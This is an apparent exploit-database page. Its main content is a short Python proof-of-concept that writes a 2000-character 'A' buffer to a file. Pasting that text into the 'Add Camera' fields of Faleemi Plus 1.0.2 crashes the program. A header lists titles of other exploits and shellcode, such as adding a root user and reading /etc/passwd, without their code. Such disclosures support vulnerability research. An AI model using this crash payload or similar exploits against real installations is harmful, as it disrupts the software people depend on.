
10 changes to exploits/shellcodes CdBurnerXP 4.5.8.6795 - 'File Name' Denial of Service (PoC) InfraRecorder 0.53 - '.txt' Denial of Service (PoC) Faleemi Plus 1.0.2 - Denial of Service (PoC) Free MP3 CD Ripper 2.6 - '.wma' Local Buffer Overflow (SEH) Watchguard AP100 AP102 AP200 1.2.9.15 - Remote Code Execution (Metasploit) Wordpress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection Linux/x86 - Add User(r00t/blank) Polymorphic Shellcode (103 bytes) Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode (61 bytes) Linux/86 - File Modification(/etc/hosts) Polymorphic Shellcode (99 bytes) Linux/x86 - Random Bytewise XOR + Insertion Encoder Shellcode (54 bytes)
25 lines
No EOL
896 B
Python
Executable file
25 lines
No EOL
896 B
Python
Executable file
# Exploit Title: Faleemi Plus 1.0.2 - Denial of Service (PoC)
|
|
# Author: Gionathan "John" Reale
|
|
# Discovey Date: 2018-09-14
|
|
# Software Link: http://support.faleemi.com/fsc776/Faleemi_Plus_v1.0.2.exe
|
|
# Tested Version: 1.0.2
|
|
# Tested on OS: Windows 10
|
|
# Steps to Reproduce: Run the python exploit script, it will create a new
|
|
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
|
|
# and start the program. Now click "Add Camera" and in the new
|
|
# window paste the content of "exploit.txt" into the following fields:
|
|
# "Camera name" & "DID number". Click "Add" and you will see a crash.
|
|
|
|
#!/usr/bin/python
|
|
|
|
buffer = "A" * 2000
|
|
|
|
payload = buffer
|
|
try:
|
|
f=open("exploit.txt","w")
|
|
print "[+] Creating %s bytes evil payload.." %len(payload)
|
|
f.write(payload)
|
|
f.close()
|
|
print "[+] File created!"
|
|
except:
|
|
print "File cannot be created" |